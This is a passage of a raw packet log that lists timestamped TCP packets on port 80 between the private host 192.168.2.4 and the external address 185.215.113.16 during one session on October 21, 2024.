Oct 21, 2024 10:46:26.070645094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070662975 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070664883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070677042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070688009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070699930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070703983 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070710897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070722103 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070733070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070736885 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070744991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070755959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070758104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070766926 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070768118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070780993 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070791960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070797920 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070806026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070816994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070818901 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070827007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070837021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070847988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070851088 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070866108 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070873976 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070880890 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070888042 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070894003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070907116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070913076 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070916891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070929050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070945024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070954084 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070959091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070971012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070976019 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.070982933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070993900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.070997953 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071005106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071016073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071022987 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071027040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071038961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071048975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071053028 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071059942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071075916 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071082115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071085930 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071094990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071105957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071116924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071127892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071132898 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071141005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071151018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071151018 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071162939 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071162939 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071176052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071186066 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071187973 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071197987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071208000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071212053 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071218967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071230888 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071238995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071250916 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071259975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071263075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071271896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071283102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071285009 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071296930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071305990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071310043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071321011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071331978 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071342945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071342945 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071355104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071367025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071367025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071377039 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071381092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071399927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071403980 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071413040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071424961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071434021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071443081 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071445942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071456909 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071456909 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071470976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071480989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071482897 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071492910 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071504116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071512938 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071513891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071528912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071537971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071542025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071548939 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071553946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071564913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071574926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071576118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071588039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071599007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071600914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071610928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071624994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071634054 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071635008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071645975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071655035 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071659088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071669102 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071671009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071691036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071692944 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071708918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071721077 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071732044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071741104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071746111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071753025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071762085 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071765900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071779966 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071782112 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071794987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071804047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071805000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071815968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071830988 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071841002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071845055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071860075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071867943 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071871996 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071877956 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071883917 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071896076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071904898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071907997 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071917057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071927071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071928024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071940899 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071952105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071962118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071962118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071975946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071986914 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.071991920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.071997881 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.072004080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072016001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072033882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072033882 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.072045088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072055101 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.072055101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072068930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072078943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072091103 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072093964 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.072099924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.072108030 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.072137117 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.111319065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111357927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111376047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111393929 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111406088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111407995 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.111418962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111430883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.111447096 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.111479044 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.167515993 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.185573101 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185595989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185606956 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185661077 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.185668945 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185682058 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185704947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185715914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185724020 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.185726881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185738087 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.185739040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185750961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185760975 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185765028 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.185795069 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.185970068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.185980082 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186007977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186009884 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186115980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186127901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186136961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186147928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186153889 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186167955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186177015 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186180115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186188936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186192989 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186203957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186213970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186218023 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186242104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186319113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186331034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186342001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186355114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186362028 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186378002 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186381102 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186389923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186399937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186419010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186423063 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186429977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186441898 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186444044 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186453104 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186465025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186469078 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186484098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186494112 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186496019 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186510086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186527967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186532021 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186541080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186553001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186563969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186563969 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186588049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186588049 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186599970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186609983 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186609983 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186620951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186630964 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186634064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186642885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186654091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186660051 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186666012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186674118 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186701059 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186713934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186713934 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186732054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186742067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186750889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186759949 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186770916 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186783075 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186794043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186794996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186805010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186815977 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186825991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186830044 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186837912 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186846972 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186851025 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186877966 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186922073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186939955 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186949968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186960936 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.186968088 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186979055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186989069 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.186990976 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187000990 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187011957 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187015057 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187026024 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187037945 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187045097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187057018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187062025 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187068939 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187079906 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187094927 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187103987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187109947 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187114954 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187127113 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187127113 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187139988 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187140942 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187161922 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187166929 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187180042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187197924 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187206984 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187208891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187221050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187232018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187232971 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187249899 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187252045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187263966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187273026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187284946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187295914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187297106 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187306881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187320948 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187325001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187330961 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:26.187338114 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187349081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187359095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:26.187365055 CEST	49745	80	192.168.2.4	185.215.113.16
